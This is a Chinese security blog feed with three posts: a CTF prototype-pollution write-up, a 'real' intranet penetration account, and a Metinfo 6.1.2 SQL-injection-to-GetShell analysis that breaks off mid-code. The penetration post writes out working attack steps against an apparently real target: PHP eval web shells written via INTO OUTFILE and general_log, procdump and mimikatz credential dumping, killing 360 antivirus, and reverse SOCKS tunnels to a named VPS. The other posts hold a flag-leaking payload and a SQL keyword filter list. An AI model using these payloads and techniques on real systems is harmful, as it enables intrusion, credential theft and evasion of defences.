&#125;</span><br><span class="line">  <span class="keyword">return</span> func;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>再跟进 compile 看到各种代码拼接 </p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/js_prototype_pollution.assets/YJ4cBru9w7hMZA1.png" alt></p><p>可以利用 outputFunctionName 通过原型链污染注入恶意代码，</p><p>注意 server.js 中这一行 <code>app.use(bodyParser.urlencoded({extended: true})).use(bodyParser.json())</code>，服务器会解析我们发送的 JSON 数据</p><p>通过 constructor 方法给原型加上我们“污染“后的 outputFunctionName 属性</p><p>Payload:</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&#123;<span class="attr">"type"</span>:<span class="string">"111"</span>,<span class="attr">"content"</span>:&#123;<span class="attr">"constructor"</span>:&#123;<span class="attr">"prototype"</span>:&#123;<span class="attr">"outputFunctionName"</span>:<span class="string">"__append; return process.env.FLAG; __append"</span>&#125;&#125;&#125;&#125;</span><br></pre></td></tr></table></figure><p>最终更改 <code>Content-Type: application/json; charset=UTF-8</code> 发送 Payload 执行 /add 操作 5 次，再通过访问 /get 利用 lodash 漏洞进行原型链污染，再回到首页即可返回 flag</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/js_prototype_pollution.assets/4VsQlJ6gAHjimny.png" alt></p><p>Reference:</p><p><a href="https://blog.szfszf.top/tech/javascript-%E5%8E%9F%E5%9E%8B%E9%93%BE%E6%B1%A1%E6%9F%93-%E5%88%86%E6%9E%90/" target="_blank" rel="noopener">https://blog.szfszf.top/tech/javascript-%E5%8E%9F%E5%9E%8B%E9%93%BE%E6%B1%A1%E6%9F%93-%E5%88%86%E6%9E%90/</a></p><p><a href="https://github.com/creeperyang/blog/issues/9" target="_blank" rel="noopener">https://github.com/creeperyang/blog/issues/9</a></p><p><a href="https://xz.aliyun.com/t/6113#toc-6" target="_blank" rel="noopener">https://xz.aliyun.com/t/6113#toc-6</a></p>]]></content>
    
    <summary type="html">
    
      &lt;p&gt;点击阅读&lt;/p&gt;
    
    </summary>
    
    
      <category term="原型链污染" scheme="http://j0k3r.top/tags/%E5%8E%9F%E5%9E%8B%E9%93%BE%E6%B1%A1%E6%9F%93/"/>
    
      <category term="JavaScript" scheme="http://j0k3r.top/tags/JavaScript/"/>
    
  </entry>
  
  <entry>
    <title>记一次真实的内网渗透</title>
    <link href="http://j0k3r.top/2019/09/03/Intranet_Penetration/"/>
    <id>http://j0k3r.top/2019/09/03/Intranet_Penetration/</id>
    <published>2019-09-02T16:00:00.000Z</published>
    <updated>2020-03-26T10:19:18.047Z</updated>
    
    <content type="html"><![CDATA[<p>点击阅读</p><a id="more"></a><p>直接弱口令进入 phpmyadmin，满满的都是敏感数据</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/Intranet_Penetration.assets/fGDN5ybPY74lBqJ.png" alt></p><p>先收集一下信息</p><h2 id="0x01-信息搜集"><a href="#0x01-信息搜集" class="headerlink" title="0x01 信息搜集"></a>0x01 信息搜集</h2><p>MySQL 版本: </p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">SELECT @@version;</span><br><span class="line">5.5.25a</span><br></pre></td></tr></table></figure><p>OS 版本</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">SELECT @@version_compile_os</span><br><span class="line">win32</span><br></pre></td></tr></table></figure><p>MySQL 绝对路径, 可借此推测 web 路径: </p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">SELECT @@basedir </span><br><span class="line">D:/xampp/mysql</span><br></pre></td></tr></table></figure><p>看能不能利用 phpmyadmin 报错，爆 web 根目录</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">/phpmyadmin/libraries/lect_lang.lib.php</span><br><span class="line">/phpMyAdmin/index.php?lang[]=1</span><br><span class="line">/phpMyAdmin/phpinfo.php</span><br><span class="line">/phpmyadmin/themes/darkblue_orange/layout.inc.php</span><br><span class="line">/phpmyadmin/libraries/select_lang.lib.php</span><br><span class="line">/phpmyadmin/libraries/lect_lang.lib.php</span><br><span class="line">/phpmyadmin/libraries/mcrypt.lib.php</span><br></pre></td></tr></table></figure><p>查看数据导入和导出限制，若其值为 NULL，则不允许导入导出</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">show global variables like &apos;secure_file_priv&apos;</span><br></pre></td></tr></table></figure><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">SELECT IF( (</span><br><span class="line">SELECT  `VARIABLE_VALUE` </span><br><span class="line">FROM  `GLOBAL_VARIABLES` </span><br><span class="line">WHERE  `VARIABLE_NAME` =  &apos;secure_file_priv&apos; = NULL</span><br><span class="line">),  &apos;Yes&apos;,  &apos;no&apos; )</span><br></pre></td></tr></table></figure><p>官方文档：</p><blockquote><p>secure_file_priv may be set as follows:</p></blockquote><blockquote><p>If empty, the variable has no effect. This is not a secure setting.</p></blockquote><blockquote><p>If set to the name of a directory, the server limits import and export operations to work only with files in that directory. The directory must exist; the server will not create it.</p></blockquote><blockquote><p>If set to NULL, the server disables import and export operations.</p></blockquote><p>secure_file_priv 这个值为只读变量，只能通过配置文件修改. </p><ul><li><p>如果为空，变量无效。</p></li><li><p>如果设置为目录名，服务器将导入和导出操作限制为仅处理该目录中的文件。目录必须存在；服务器不会创建它。</p></li><li><p>如果设置为空，服务器将禁用导入和导出操作。</p></li></ul><p>修改方法： 在mysql 配置文件的 [mysqld] 内加入secure_file_priv</p><h2 id="0x02-利用"><a href="#0x02-利用" class="headerlink" title="0x02 利用"></a>0x02 利用</h2><p>很幸运，这里 secure_file_priv 的值是空，但是还不知道 web 根目录，无法确定 shell 路径，不过根据上面获取的 <code>@@basedir</code> 再根据网站域名盲猜一下成功读取到写入的测试文件</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/Intranet_Penetration.assets/XhTMVL4NHEj7PeD.png" alt></p><p><code>into outfile</code> 写 shell</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">SELECT  &apos;&lt;?php @eval($_REQUEST[1]); ?&gt;&apos;</span><br><span class="line">INTO OUTFILE  &apos;D:/xampp/root path/setting_sys.php&apos;</span><br></pre></td></tr></table></figure><p>如果 secure_file_priv 的值为 NULL，在数据导入导出限制的情况下可以利用 log 日志写 shell，条件是需要 mysql 的 root 用户</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">set global general_log = &quot;ON&quot;; # 开启 </span><br><span class="line">SET global general_log_file=&apos;/web root path/eval.php&apos;;</span><br><span class="line">select &apos;&lt;?php eval($_REQUEST[1]); ?&gt;&apos;;</span><br></pre></td></tr></table></figure><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/Intranet_Penetration.assets/92dDqFX1CJpKRkr.png" alt></p><h2 id="0x03-深入"><a href="#0x03-深入" class="headerlink" title="0x03 深入"></a>0x03 深入</h2><p><code>net config Workstation</code> // 获取当前计算机名，全名，用户名，系统版本，工作站域，登陆域</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/Intranet_Penetration.assets/bcED1dQ7S4xWVRA.png" alt></p><p>Administrator 很舒服，但是 <code>tasklist /svc</code> 列进程能够看到 ZhuDongFangYu.exe 和 多个 360*.exe</p><p>调整下蚁剑的超时时间，不然稍大一点的文件就很难传上去了</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/Intranet_Penetration.assets/FUXMPpIfKvlGCgE.png" alt></p><p>pwdump7 抓 Administrator 的 hash</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/Intranet_Penetration.assets/DJpVIFTGSsvXgAO.png" alt></p><p>其中</p><p>用户名称为：Administrator<br>RID为：500 后面跟着 LM-HASH值 和 NT-HASH值</p><p>拿着 hash 去 <a href="https://www.objectif-securite.ch/en/ophcrack.php" target="_blank" rel="noopener">Objectif Sécurité - Ophcrack</a>, cmd5 之类的网站爆一波</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/Intranet_Penetration.assets/uiA5rOnjkNJ8VbP.png" alt></p><p>奈何破解不了</p><p>想到 p0desta 表哥一篇 <a href="http://p0desta.com/2019/07/16/%E8%AE%B0%E4%B8%80%E6%AC%A1%E6%9C%89%E8%B6%A3%E7%9A%84%E6%B8%97%E9%80%8F/" target="_blank" rel="noopener">记一次有趣的渗透</a> </p><p>使用官方免杀的 procdump.exe 导出lsass进程的内存数据，再配合 mimikatz 本地抓取密码</p><p><code>procdump.exe -accepteula -ma lsass.exe -o crack.dmp</code></p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/Intranet_Penetration.assets/trSMQ8ia1CT4Khm.png" alt></p><p>下载下来，拿出封存已久的 mimikatz</p><p>抓取密码：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">mimikatz.exe</span><br><span class="line">mimikatz # sekurlsa::minidump crack.dmp</span><br><span class="line">mimikatz # sekurlsa::logonPasswords full</span><br></pre></td></tr></table></figure><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/Intranet_Penetration.assets/sv3r7dxbUpmgljQ.png" alt></p><p>这就拿到了 Administrator 的密码，因为这个 windows 只有一个内网 IP，但是发现开了 3389，外部虽无法直接连接，但是可以通过端口转发建立代理连接</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/Intranet_Penetration.assets/8PYEFTUVWgiZtLb.png" alt></p><h4 id="几个代理工具"><a href="#几个代理工具" class="headerlink" title="几个代理工具"></a>几个代理工具</h4><p><strong>1. lcx &amp; portmap</strong></p><p>windows:</p><p><code>lcx.exe -slave vps 7777 127.0.0.1 3389</code></p><p>vps:</p><p><code>./portmap -m 2 -p1 7777 -p2 8888</code></p><p>会被 360 查杀</p><p><strong>2. EarthWorm</strong></p><p>windows:</p><p><code>ew_for_Win.exe -s rssocks -d 152.136.210.126 -e 8888</code></p><p>vps:</p><p><code>./ew_for_linux64 -s rcsocks -l 1080 -e 8888</code></p><p>这个 ew_for_linux64 会被腾讯云标记为木马文件，ew_for_Win.exe 测试在这个装有 360 的机器上运行直接被删掉</p><p><strong>3. reGeorg</strong></p><p>放上 tunnel.nosocket.php 后进行连接，或者是用这个PHP 一句话版 <a href="https://github.com/zsxsoft/reGeorg" target="_blank" rel="noopener">reGeorg for PHP One-line Shell</a>，接着本地用 proxifier 配置 socks 代理</p><p>然后它就卡在了这个地方，接着自动退出，有空再分析下原因</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/Intranet_Penetration.assets/tLTyaMn849f2igs.png" alt></p><p>这里 lcx、EarthWorm 都遭到了 360 的拦截，网上的免杀 Lcx.exe 也无济于事，reGeorg 也不能很好的工作</p><p>使用 taskkill 结束 360 相关进程，但是一般来说 ZhuDongFangYu.exe 和 360 部分进程还是杀不掉的，需在 360 设置里手动关闭，用 ntsd.exe 也不行</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">taskkill /im 360* /t /f</span><br><span class="line">taskkill /im ZhuDongFangYu.exe /t /f</span><br></pre></td></tr></table></figure><p><strong>sSocks</strong></p><p>360 还是有漏网之鱼，最终使用 ssocks 成功建立代理。。</p><blockquote><p>sSocks是一个socks代理工具套装，可用来开启socks代理服务，支持socks5验证，支持IPV6和UDP，并提供反向socks代理服务，即将远程计算机作为socks代理服务端，反弹回本地，极大方便内网的渗透测试。官方地址：<a href="http://sourceforge.net/projects/ssocks/" target="_blank" rel="noopener">http://sourceforge.net/projects/ssocks/</a></p></blockquote><p>vps:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">wget https://phoenixnap.dl.sourceforge.net/project/ssocks/ssocks-0.0.14.tar.gz</span><br><span class="line"> tar -zxf ssocks-0.0.14.tar.gz</span><br><span class="line"> cd ssocks-0.0.14</span><br><span class="line"> ./configure &amp;&amp; make</span><br><span class="line"> cd src</span><br><span class="line"> ./rcsocks -l 1080 -p 1234 -v</span><br></pre></td></tr></table></figure><p>windows 7:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">rssocks.exe -s vps:1234</span><br></pre></td></tr></table></figure><p>在本地使用 socks 代理工具配置代理, 成功</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/Intranet_Penetration.assets/ITVtcFPjnkbrzCx.png" alt></p><p>这台机器只有一个 工作站域 WorkGroup</p><p><code>net view /domain</code> 查看也只有 WORKGROUP </p><p><code>net view</code> //用来查看跟本机有关联的机器名</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/Intranet_Penetration.assets/nOjIKQucVm9ZS54.png" alt></p><p>有个 GAOJIGUANLIYUAN</p><p>不知怎么的，这机器上并没有 nbtstat，先 <code>arp -a</code> 列出本网段内所有活跃的IP地址，IP 不多，屈指可数，再通过 <code>ping -n 1 -a ip</code> 查看 ip 的机器名，成功找的 GAOJIGUANLIYUAN 的 ip 地址</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/Intranet_Penetration.assets/aIMAiqRp3o6QczU.png" alt></p><p>该机还装有 TeamViewer，连接列表其中一个远程主机还有一个没有密码的非管理员账户</p><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/Intranet_Penetration.assets/UHMiRyjWaLXPvlO.png" alt></p><p>然后神奇的发现那个 GAOJIGUANLIYUAN 不见了，比较遗憾 (第二天又有了，难道当时下班了？)</p><p>采用编译的方式安装 proxychains 代理 nmap 对远程内网主机进行扫描，这里有个坑，如果用 brew 安装的 proxychains 会出错</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">git clone https://github.com/rofl0r/proxychains-ng</span><br><span class="line">cd proxychains-ng</span><br><span class="line">./configure --prefix=/usr/local --bindir=/usr/local/bin --libdir=/usr/local/lib --fat-binary</span><br><span class="line">make</span><br><span class="line">make install</span><br></pre></td></tr></table></figure><p><img src="https://blog-j0k3r.oss-cn-beijing.aliyuncs.com/assets/Intranet_Penetration.assets/M4zDk3b8NA6GHiU.png" alt></p><p>看样子可以使用 <code>MS17_010</code></p>]]></content>
    
    <summary type="html">
    
      &lt;p&gt;点击阅读&lt;/p&gt;
    
    </summary>
    
    
      <category term="渗透" scheme="http://j0k3r.top/tags/%E6%B8%97%E9%80%8F/"/>
    
  </entry>
  
  <entry>
    <title>Metinfo 6.1.2 从 SQL 注入到 GetShell 复现&amp;分析</title>
    <link href="http://j0k3r.top/2019/05/01/Metinfo612/"/>
    <id>http://j0k3r.top/2019/05/01/Metinfo612/</id>
    <published>2019-04-30T16:00:00.000Z</published>
    <updated>2020-03-26T10:19:24.252Z</updated>
    
    <content type="html"><![CDATA[<p>点击阅读</p><a id="more"></a><p>基于 Metinfo 6.1.2，源码可到 <a href="https://www.metinfo.cn/download/" target="_blank" rel="noopener">https://www.metinfo.cn/download/</a> 下载</p><p>位于 app/system/include/class/web.class.php 468 行开始的 web 类的析构函数中存在任意文件写入</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__destruct</span><span class="params">()</span></span>&#123;</span><br><span class="line"><span class="keyword">global</span> $_M;</span><br><span class="line"><span class="comment">//读取缓冲区数据</span></span><br><span class="line">$output = str_replace(<span class="keyword">array</span>(<span class="string">'&lt;!--&lt;!----&gt;'</span>,<span class="string">'&lt;!----&gt;'</span>,<span class="string">'&lt;!--fck--&gt;'</span>,<span class="string">'&lt;!--fck'</span>,<span class="string">'fck--&gt;'</span>,<span class="string">''</span>,<span class="string">"\r"</span>,substr($admin_url,<span class="number">0</span>,<span class="number">-1</span>)),<span class="string">''</span>,ob_get_contents());</span><br><span class="line">ob_end_clean();<span class="comment">//清空缓冲区</span></span><br><span class="line">$output = <span class="keyword">$this</span>-&gt;video_replace(<span class="string">'/(&lt;video.*?edui-upload-video.*?&gt;).*?&lt;\/video&gt;/'</span>, $output);</span><br><span class="line">$output = <span class="keyword">$this</span>-&gt;video_replace(<span class="string">'/(&lt;embed.*?edui-faked-video.*?&gt;)/'</span>, $output);</span><br><span class="line">       <span class="keyword">if</span>($_M[<span class="string">'config'</span>][<span class="string">'met_qiniu_cloud'</span>]) &#123;</span><br><span class="line">           $output = load::plugin(<span class="string">'dofooter_replace'</span>, <span class="number">1</span>, <span class="keyword">array</span>(<span class="string">'data'</span> =&gt; $output));</span><br><span class="line">       &#125;</span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 标签数据处理</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line">load::sys_class(<span class="string">'view/ui_compile'</span>);</span><br><span class="line">$ui_compile = <span class="keyword">new</span> ui_compile();</span><br><span class="line">$output = $ui_compile-&gt;replace_attr($output);</span><br><span class="line"><span class="keyword">if</span>($_M[<span class="string">'form'</span>][<span class="string">'html_filename'</span>] &amp;&amp; $_M[<span class="string">'form'</span>][<span class="string">'metinfonow'</span>] == $_M[<span class="string">'config'</span>][<span class="string">'met_member_force'</span>])&#123;</span><br><span class="line">$filename = urldecode($_M[<span class="string">'form'</span>][<span class="string">'html_filename'</span>]);</span><br><span class="line"><span class="keyword">if</span>(stristr(PHP_OS,<span class="string">"WIN"</span>)) &#123;</span><br><span class="line">$filename = @iconv(<span class="string">"utf-8"</span>, <span class="string">"GBK"</span>, $filename);</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">if</span>(stristr($filename, <span class="string">'.php'</span>))&#123;</span><br><span class="line">jsoncallback(<span class="keyword">array</span>(<span class="string">'suc'</span>=&gt;<span class="number">0</span>));</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">if</span>(file_put_contents(PATH_WEB.$filename, $output))&#123;</span><br><span class="line">jsoncallback(<span class="keyword">array</span>(<span class="string">'suc'</span>=&gt;<span class="number">1</span>));</span><br><span class="line">&#125;<span class="keyword">else</span>&#123;</span><br><span class="line">jsoncallback(<span class="keyword">array</span>(<span class="string">'suc'</span>=&gt;<span class="number">0</span>));</span><br><span class="line">&#125;</span><br><span class="line">&#125;<span class="keyword">else</span>&#123;</span><br><span class="line"><span class="keyword">echo</span> $output;<span class="comment">//输出内容</span></span><br><span class="line">&#125;</span><br><span class="line">DB::close();<span class="comment">//关闭数据库连接</span></span><br><span class="line"><span class="keyword">exit</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>代码中不难看出，若满足 <code>$_M[&#39;form&#39;][&#39;html_filename&#39;] &amp;&amp; $_M[&#39;form&#39;][&#39;metinfonow&#39;] == $_M[&#39;config&#39;][&#39;met_member_force&#39;]</code>，则 ob_get_contents（） 即输出缓冲区中的内容会被写入文件</p><p>而 met_member_force 在安装的时候就被写入了数据库，从 <code>/install/index.php</code> 能看到</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">. . . . </span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">randStr</span><span class="params">($i)</span></span>&#123;</span><br><span class="line">  $str = <span class="string">"abcdefghijklmnopqrstuvwxyz"</span>;</span><br><span class="line">  $finalStr = <span class="string">""</span>;</span><br><span class="line">  <span class="keyword">for</span>($j=<span class="number">0</span>;$j&lt;$i;$j++)</span><br><span class="line">  &#123;</span><br><span class="line">    $finalStr .= substr($str,mt_rand(<span class="number">0</span>,<span class="number">25</span>),<span class="number">1</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> $finalStr;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">. . . . </span><br><span class="line"></span><br><span class="line">$force =randStr(<span class="number">7</span>);</span><br><span class="line">$query = <span class="string">" UPDATE $met_config set value='$force' where name='met_member_force'"</span>;</span><br><span class="line">mysqli_query($link , $query) <span class="keyword">or</span> <span class="keyword">die</span>(<span class="string">'写入数据库失败: '</span> . mysqli_error($link));</span><br></pre></td></tr></table></figure><p>但是我们可以通过 sql 注入获取，在 app\system\message\web\message.class.php 中第43行，<code>{$_M[form][id]}</code> 被直接拼到 sql 语句中</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">add</span><span class="params">($info)</span> </span>&#123;</span><br><span class="line"><span class="keyword">global</span> $_M;</span><br><span class="line"><span class="keyword">if</span>(!$_M[form][id])&#123;</span><br><span class="line">          $message=DB::get_one(<span class="string">"select * from &#123;$_M[table][column]&#125; where module= 7 and lang ='&#123;$_M[form][lang]&#125;'"</span>);</span><br><span class="line">          $_M[form][id]=$message[id];</span><br><span class="line">&#125;</span><br><span class="line">$met_fd_ok=DB::get_one(<span class="string">"select * from &#123;$_M[table][config]&#125; where lang ='&#123;$_M[form][lang]&#125;' and  name= 'met_fd_ok' andcolumnid = &#123;$_M[form][id]&#125;"</span>);</span><br><span class="line">       $_M[config][met_fd_ok]= $met_fd_ok[value];</span><br><span class="line"><span class="keyword">if</span>(!$_M[config][met_fd_ok])okinfo(<span class="string">'javascript:history.back();'</span>,<span class="string">"&#123;$_M[word][Feedback5]&#125;"</span>);</span><br><span class="line"><span class="keyword">if</span>($_M[config][met_memberlogin_code])&#123;</span><br><span class="line"><span class="keyword">if</span>(!load::sys_class(<span class="string">'pin'</span>, <span class="string">'new'</span>)-&gt;check_pin($_M[<span class="string">'form'</span>][<span class="string">'code'</span>]))&#123;</span><br><span class="line"> okinfo(<span class="number">-1</span>, $_M[<span class="string">'word'</span>][<span class="string">'membercode'</span>]);</span><br><span class="line">&#125;</span><br><span class="line">   &#125;</span><br><span class="line">    . . . . </span><br><span class="line">    &#125;</span><br></pre></td></tr></table></figure><p>由于 message 继承自系统一级基类 common，其构造函数首先就对表单进行了过滤</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__construct</span><span class="params">()</span> </span>&#123;</span><br><span class="line"><span class="keyword">global</span> $_M;<span class="comment">//全局数组$_M</span></span><br><span class="line">ob_start();<span class="comment">//开启缓存</span></span><br><span class="line"><span class="keyword">$this</span>-&gt;load_mysql();<span class="comment">//数据库连接</span></span><br><span class="line"><span class="keyword">$this</span>-&gt;load_form();<span class="comment">//表单过滤</span></span><br><span class="line"><span class="keyword">$this</span>-&gt;load_lang();<span class="comment">//加载语言配置</span></span><br><span class="line"><span class="keyword">$this</span>-&gt;load_config_global();<span class="comment">//加载全站配置数据</span></span><br><span class="line"><span class="keyword">$this</span>-&gt;load_url_site();</span><br><span class="line"><span class="keyword">$this</span>-&gt;load_config_lang();<span class="comment">//加载当前语言配置数据</span></span><br><span class="line"><span class="keyword">$this</span>-&gt;load_url();<span class="comment">//加载url数据</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这时如果我们直接在留言页面进行 sql 注入会被 common.func.php 中的 sqlinsert 函数所过滤</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">sqlinsert</span><span class="params">($string)</span></span>&#123;</span><br><span class="line"><span class="keyword">if</span>(is_array($string))&#123;</span><br><span class="line"><span class="keyword">foreach</span>($string <span class="keyword">as</span> $key =&gt; $val) &#123;</span><br><span class="line">$string[$key] = sqlinsert($val);</span><br><span class="line">&#125;</span><br><span class="line">&#125;<span class="keyword">else</span>&#123;</span><br><span class="line">$string_old = $string;</span><br><span class="line">$string = str_ireplace(<span class="string">"\\"</span>,<span class="string">"/"</span>,$string);</span><br><span class="line">$string = str_ireplace(<span class="string">"\""</span>,<span class="string">"/"</span>,$string);</span><br><span class="line">$string = str_ireplace(<span class="string">"'"</span>,<span class="string">"/"</span>,$string);</span><br><span class="line">$string = str_ireplace(<span class="string">"*"</span>,<span class="string">"/"</span>,$string);</span><br><span class="line">$string = str_ireplace(<span class="string">"%5C"</span>,<span class="string">"/"</span>,$string);</span><br><span class="line">$string = str_ireplace(<span class="string">"%22"</span>,<span class="string">"/"</span>,$string);</span><br><span class="line">$string = str_ireplace(<span class="string">"%27"</span>,<span class="string">"/"</span>,$string);</span><br><span class="line">$string = str_ireplace(<span class="string">"%2A"</span>,<span class="string">"/"</span>,$string);</span><br><span class="line">$string = str_ireplace(<span class="string">"~"</span>,<span class="string">"/"</span>,$string);</span><br><span class="line">$string = str_ireplace(<span class="string">"select"</span>, <span class="string">"\sel\ect"</span>, $string);</span><br><span class="line">$string = str_ireplace(<span class="string">"insert"</span>, <span class="string">"\ins\ert"</span>, $string);</span><br><span class="line">$string = str_ireplace(<span class="string">"update"</span>, <span class="string">"\up\date"</span>, $string);</span><br><span class="line">$string = str_ireplace(<span class="string">"delete"</span>, <span class="string">"\de\lete"</span>, $string);</span><br><span class="line">$string = str_ireplace(<span class="string">"union"</span>, <span class="string">"\un\ion"</span>, $string);</span><br><span class="line">$string = str_ireplace(<span class="string">"into"</span>, <span class="string">"\in\to"</span>, $string);</span><br><span class="line">$string = str_ireplace(<span class="string">"load_file"</span>, <span class="string">"\load\_\file"</span>, $string);</span><br><span class="line">$string = str_ireplace(<span class="string">"outfile"</span>, <span class="string">"\out\file"</span>, $string);</span><br><span class="line">$string = str_ireplace(<span class="string">"sleep"</span>, <span class="string">"\sle\ep"</span>, $string);</span><br><span class="line">$string = strip_tags($string);</span><br><span class="line"><span class="keyword">if</span>($string_old!=$string)&#123;</span><br><span class="line">$string=<span class="string">''</span>;</span><br><span class="line">&#125;</span><br><span class="line">$string = trim($string);</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">return</span> $string;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>但是细看代码发现在过滤之前，字符串先经过了 daddslashes 函数，而 daddslashes 函数是否执行 sqlinsert 则由 IN_ADMIN 来决定</p><figure class="highlight php"><table><tr><td 